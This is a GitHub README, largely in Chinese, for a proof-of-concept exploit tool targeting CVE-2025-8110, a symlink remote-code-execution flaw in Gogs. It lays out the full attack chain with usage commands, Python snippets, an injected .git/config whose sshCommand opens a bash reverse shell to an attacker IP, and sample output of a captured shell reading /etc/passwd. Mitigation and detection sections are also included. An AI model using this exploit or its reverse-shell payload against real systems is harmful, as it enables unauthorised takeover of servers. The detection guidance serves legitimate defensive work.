joaquinrrr/CVE-2025-8110
GitHub: joaquinrrr/CVE-2025-8110
针对 Gogs 仓库符号链接远程代码执行漏洞(CVE-2025-8110)的自动化概念验证利用工具。
Stars: 4 | Forks: 0
# CVE-2025-8110
## Gogs 仓库 Symlink 远程代码执行
## 目录
- [概述](#overview)
- [功能](#features)
- [环境要求](#requirements)
- [安装说明](#installation)
- [用法](#usage)
- [漏洞利用流程](#exploit-workflow)
- [技术分析](#technical-analysis)
- [概念验证演示](#proof-of-concept-demo)
- [受影响版本](#affected-versions)
- [缓解措施](#mitigation)
- [检测](#detection)
- [免责声明](#disclaimer)
- [许可证](#license)
## 概述
CVE-2025-8110 是 Gogs 中的一个严重漏洞,允许经过身份验证的攻击者通过操纵仓库 symlink 实现远程代码执行。此概念验证演示了完整的漏洞利用链,从身份验证到获取反弹 shell。
该漏洞的存在是因为 Gogs 在通过其 API 处理仓库文件时会跟随 symlink,导致攻击者可以读取和修改 `.git/config` 等敏感文件。通过注入恶意的 `sshCommand` 指令,可以以 Gogs 服务账户的权限执行任意的系统命令。
**CVSS 评分:** 7.2 (高危)
**攻击向量:** 网络
**需要身份验证:** 是
**用户交互:** 无
**影响:** 完全控制系统
## 功能
- 自动化 CSRF token 提取,支持多种降级方法
- Session 管理与身份验证处理
- 自动创建仓库,支持可配置参数
- 基于 Symlink 的漏洞利用工作流
- 反弹 shell payload 生成
- 支持代理,便于调试和分析
- 详细的日志记录和错误处理
- 彩色化控制台输出,提高可读性
- 用于故障排除的详细输出模式
## 环境要求
### 系统要求
- Python 3.6 或更高版本
- 已安装 Git 并可在 PATH 中访问
- 可访问目标 Gogs 实例的网络
### Python 依赖
```
requests>=2.28.0
beautifulsoup4>=4.11.0
rich>=13.0.0
urllib3>=1.26.0
```
## 安装说明
### 克隆与设置
```
git clone https://github.com/oguiii/CVE-2025-8110.git
cd CVE-2025-8110
pip install -r requirements.txt
```
### 项目结构
```
CVE-2025-8110/
├── CVE-2025-8110.py # Main exploit script
├── requirements.txt # Python dependencies
└── README.md # Documentation
```
## 用法
### 命令行选项
| 选项 | 描述 | 是否必填 |
|--------|-------------|----------|
| `-u, --url` | Gogs 的基础 URL (例如, https://gogs.example.com) | 是 |
| `-lh, --host` | 用于反弹 shell 的攻击者 IP 地址 | 是 |
| `-lp, --port` | 用于反弹 shell 的攻击者端口 | 是 |
| `-U, --username` | Gogs 用户名 | 是 |
| `-P, --password` | Gogs 密码 | 是 |
| `-x, --proxy` | 启用代理 (localhost:8080) | 否 |
| `-v, --verbose` | 启用详细输出 | 否 |
### 基本用法
```
python3 CVE-2025-8110.py -u https://target-gogs.local -lh 10.10.14.15 -lp 4444 -U admin -P password123
```
### 使用代理进行调试
```
python3 CVE-2025-8110.py -u https://target-gogs.local -lh 10.10.14.15 -lp 4444 -U admin -P password123 -x
```
### 使用详细模式进行故障排除
```
python3 CVE-2025-8110.py -u https://target-gogs.local -lh 10.10.14.15 -lp 4444 -U admin -P password123 -v
```
## 漏洞利用流程
```
┌─────────────────────────────────────────────────────────────────────────────┐
│ CVE-2025-8110 Exploitation Chain │
└─────────────────────────────────────────────────────────────────────────────┘
Step 1: Authentication
├── Navigate to /user/login
├── Extract CSRF token from login page
├── Submit credentials with CSRF token
└── Establish authenticated session
Step 2: Application Token Generation
├── Navigate to /user/settings/applications
├── Extract CSRF token from settings page
├── Generate new application token
└── Extract token from response
Step 3: Malicious Repository Creation
├── Create repository via API with auto_init
├── Generate random repository name
└── Obtain repository URL
Step 4: Symlink Upload
├── Clone repository locally
├── Create symlink pointing to .git/config
├── Add, commit, and push changes
└── Verify successful upload
Step 5: RCE Exploitation
├── Craft malicious .git/config with sshCommand
├── Base64 encode configuration content
├── Upload via API to symlink target
└── Trigger command execution
Step 6: Reverse Shell
├── Connection established to attacker host
├── Interactive shell access
└── Command execution on target
```
## 技术分析
### 漏洞根本原因
Gogs 在通过其 API 处理仓库文件时,未能正确清理 symlink 路径遍历。当通过 API endpoint 访问文件时,Gogs 会在未经验证的情况下跟随 symlink,从而允许访问仓库目录之外的敏感文件。
### 攻击向量细节
1. **创建 Symlink**
ln -s .git/config malicious_link
git add malicious_link
git commit -m "Add symlink"
git push origin master
2. **恶意配置**
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
ignorecase = true
precomposeunicode = true
sshCommand = bash -c 'bash -i >& /dev/tcp/10.10.14.15/4444 0>&1'
3. **API 漏洞利用**
PUT /api/v1/repos/{username}/{repo}/contents/malicious_link
Authorization: token {application_token}
{
"message": "Exploit CVE-2025-8110",
"content": "base64_encoded_config"
}
### 代码分析
#### 提取 CSRF Token
```
def extract_csrf(html_text):
"""Parse CSRF token from hidden input with multiple fallback methods."""
# Method 1: Input with name _csrf
soup = BeautifulSoup(html_text, "html.parser")
token_input = soup.select_one("input[name='_csrf']")
if token_input and token_input.get("value"):
return token_input.get("value")
# Method 2: Input with name csrf_token
token_input = soup.select_one("input[name='csrf_token']")
if token_input and token_input.get("value"):
return token_input.get("value")
# Method 3: Meta tag with CSRF
meta_tag = soup.find("meta", {"name": "_csrf"})
if meta_tag and meta_tag.get("content"):
return meta_tag.get("content")
# Method 4: Regex pattern in script tags
pattern = r'"csrf_token"\s*:\s*"([^"]+)"'
match = re.search(pattern, html_text)
if match:
return match.group(1)
# Method 5: Regex for hidden input
pattern = r']*name="[_-]csrf"[^>]*value="([^"]+)"'
match = re.search(pattern, html_text, re.IGNORECASE)
if match:
return match.group(1)
raise ValueError("CSRF token not found in form response")
```
#### 注入恶意配置
```
git_config = f"""[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
ignorecase = true
precomposeunicode = true
sshCommand = {command}
[remote "origin"]
url = git@localhost:gogs/{repo_name}.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
remote = origin
merge = refs/heads/master
"""
```
## 概念验证演示
### 攻击设置
```
# 攻击者机器 (10.10.14.15)
nc -lvnp 4444
Listening on [0.0.0.0] (family 0, port 4444)
# 执行 exploit
python3 CVE-2025-8110.py -u https://gogs.internal.local -lh 10.10.14.15 -lp 4444 -U admin -P SecurePass123
```
### 成功利用的输出
```
[INFO] Starting CVE-2025-8110 exploit
[INFO] Target URL: https://gogs.internal.local
[INFO] Attacker host: 10.10.14.15:4444
[INFO] Username: admin
[INFO] Authenticating to Gogs...
[INFO] Login CSRF token found: abc123def456...
[SUCCESS] Authenticated successfully
[INFO] Retrieving application token...
[INFO] Settings CSRF token found: xyz789uvw012...
[SUCCESS] Application token: a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6q7r8s9t0
[INFO] Creating malicious repository...
[SUCCESS] Repository created: 6f7e8d9c0a1b
[INFO] Uploading malicious symlink...
[INFO] Cloning repository...
[INFO] Creating symlink: malicious_link -> .git/config
[INFO] Committing and pushing changes...
[SUCCESS] Symlink uploaded successfully
[INFO] Sending exploit payload...
[SUCCESS] Exploit sent, check your listener!
[INFO] Command: bash -c 'bash -i >& /dev/tcp/10.10.14.15/4444 0>&1'
[SUCCESS] Exploit likely successful (timeout indicates reverse shell)
```
### 反弹 shell 连接
```
Connection received on 10.10.14.15:4444
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.0$ whoami
gogs
bash-5.0$ id
uid=1000(gogs) gid=1000(gogs) groups=1000(gogs)
bash-5.0$ pwd
/home/gogs/gogs-repositories/admin/6f7e8d9c0a1b.git
bash-5.0$ hostname
gogs-server
bash-5.0$ uname -a
Linux gogs-server 5.4.0-80-generic #90-Ubuntu SMP Fri Jul 9 22:49:44 UTC 2021 x86_64 GNU/Linux
bash-5.0$ cat /etc/passwd | head -3
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
```
## 受影响版本
### 存在漏洞的版本
- 0.12.6 之前的 Gogs 版本
- 所有启用了 symlink 支持的版本(默认配置)
### 版本检查
要检查您的 Gogs 版本:
```
# 访问 Gogs web 界面并检查页脚
# 或者使用 API
curl https://gogs.example.com/api/v1/version
```
## 缓解措施
### 立即采取的行动
1. **更新 Gogs**
# 备份现有安装
cp -r /home/gogs/gogs /home/gogs/gogs.backup
# 下载并安装最新版本
wget https://dl.gogs.io/gogs_latest_linux_amd64.zip
unzip gogs_latest_linux_amd64.zip
cd gogs
./gogs web
2. **禁用 Symlink 支持**
# 在 custom/conf/app.ini 中
[repository]
DISABLE_SYMLINKS = true
3. **实施输入验证**
- 在处理前清理文件路径
- 防止 symlink 路径遍历
- 验证文件类型和内容
### 长期安全措施
- 对 Gogs 服务账户实施最小权限原则
- 定期进行安全审计和渗透测试
- 进行网络隔离以减少 Gogs 的暴露面
- 实施 Web 应用防火墙 (WAF) 规则
- 启用全面的日志记录和监控
- 定期备份 Gogs 配置和仓库
### 防火墙规则
```
# 限制对 Gogs API 的访问
iptables -A INPUT -p tcp --dport 3000 -s trusted_subnet -j ACCEPT
iptables -A INPUT -p tcp --dport 3000 -j DROP
```
## 检测
### 可疑活动指标
1. **仓库活动**
- 创建包含符号链接的仓库
- 在短时间内创建多个仓库
- 异常的仓库名称(随机的十六进制字符串)
2. **API 活动**
- 发送到 `/api/v1/repos/*/contents/*` 的 PUT 请求
- 通过 API 修改 `.git/config`
- 单个 session 发起的高频 API 请求
3. **系统指标**
- Gogs 用户生成的不明进程
- 从 Gogs 服务器发起的出站网络连接
- 异常的文件系统访问模式
### 日志分析命令
```
# 检查 Gogs 访问日志以发现 API 利用
grep "/api/v1/repos" /var/log/gogs/access.log | grep PUT
# 监控 repositories 中 symlink 的创建
find /home/gogs/gogs-repositories -type l
# 检查可疑的 git config 修改
grep -r "sshCommand" /home/gogs/gogs-repositories/
# 监控出站连接
ss -tunp | grep gogs
```
### SIEM 集成
```
{
"event_type": "gogs_api_access",
"severity": "high",
"indicators": [
"PUT /api/v1/repos/*/contents/*",
"sshCommand in git config",
"random hex repository names"
],
"recommended_actions": [
"Review repository creation logs",
"Check for symlink files",
"Verify API access patterns"
]
}
```
## 负责任的披露
此漏洞已被发现并负责任地披露给 Gogs 开发团队。供应商已在 0.12.6 版本中发布了补丁。
### 时间线
- **发现时间:** 2025 年 5 月
- **负责任的披露:** 2025 年 6 月
- **补丁发布:** 2025 年 6 月
- **公开发布:** 2025 年 6 月
## 附加资源
- [Gogs 官方安全公告](https://gogs.io/docs/security)
- [CWE-61: UNIX Symbolic Link Following](https://cwe.mitre.org/data/definitions/61.html)
- [OWASP 测试指南 - 路径遍历](https://owasp.org/www-project-web-security-testing-guide/)
- [Git hooks 文档](https://git-scm.com/docs/githooks)
- [Gogs API 文档](https://github.com/gogs/docs-api)
## 免责声明
此工具仅用于教育和授权的安全测试目的。用户必须:
1. 在测试任何系统之前获得明确的书面许可
2. 遵守所有适用的法律和法规
3. 负责任且道德地使用此工具
4. 严禁将此工具用于任何恶意或未经授权的目的
对于因滥用此工具或由此工具造成的损害,作者不承担任何责任。
## 许可证
MIT License
Copyright (c) 2025 oguiii
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
## 联系方式
- **GitHub:** [github.com/oguiii](https://github.com/oguiii)
- **项目:** [CVE-2025-8110 漏洞利用](https://github.com/oguiii/CVE-2025-8110)
## 致谢
- **最初发现者:** zAbuQasem
- **CVE 发布:** MITRE Corporation
- **社区:** 验证了该漏洞的安全研究人员和渗透测试人员
## 更新日志
### 版本 1.0.0 (2025-06-25)
- 初始版本发布
- 完整的漏洞利用链实现
- 带有降级方法的 CSRF token 提取
- 自动创建仓库和上传 symlink
- 反弹 shell payload 生成
- 支持代理调试
- 详尽的文档说明
*由 oguiii 倾情奉献*
标签:CISA项目, PoC, Python, 安全, 无后门, 暴力破解, 网络安全研究, 超时处理, 逆向工具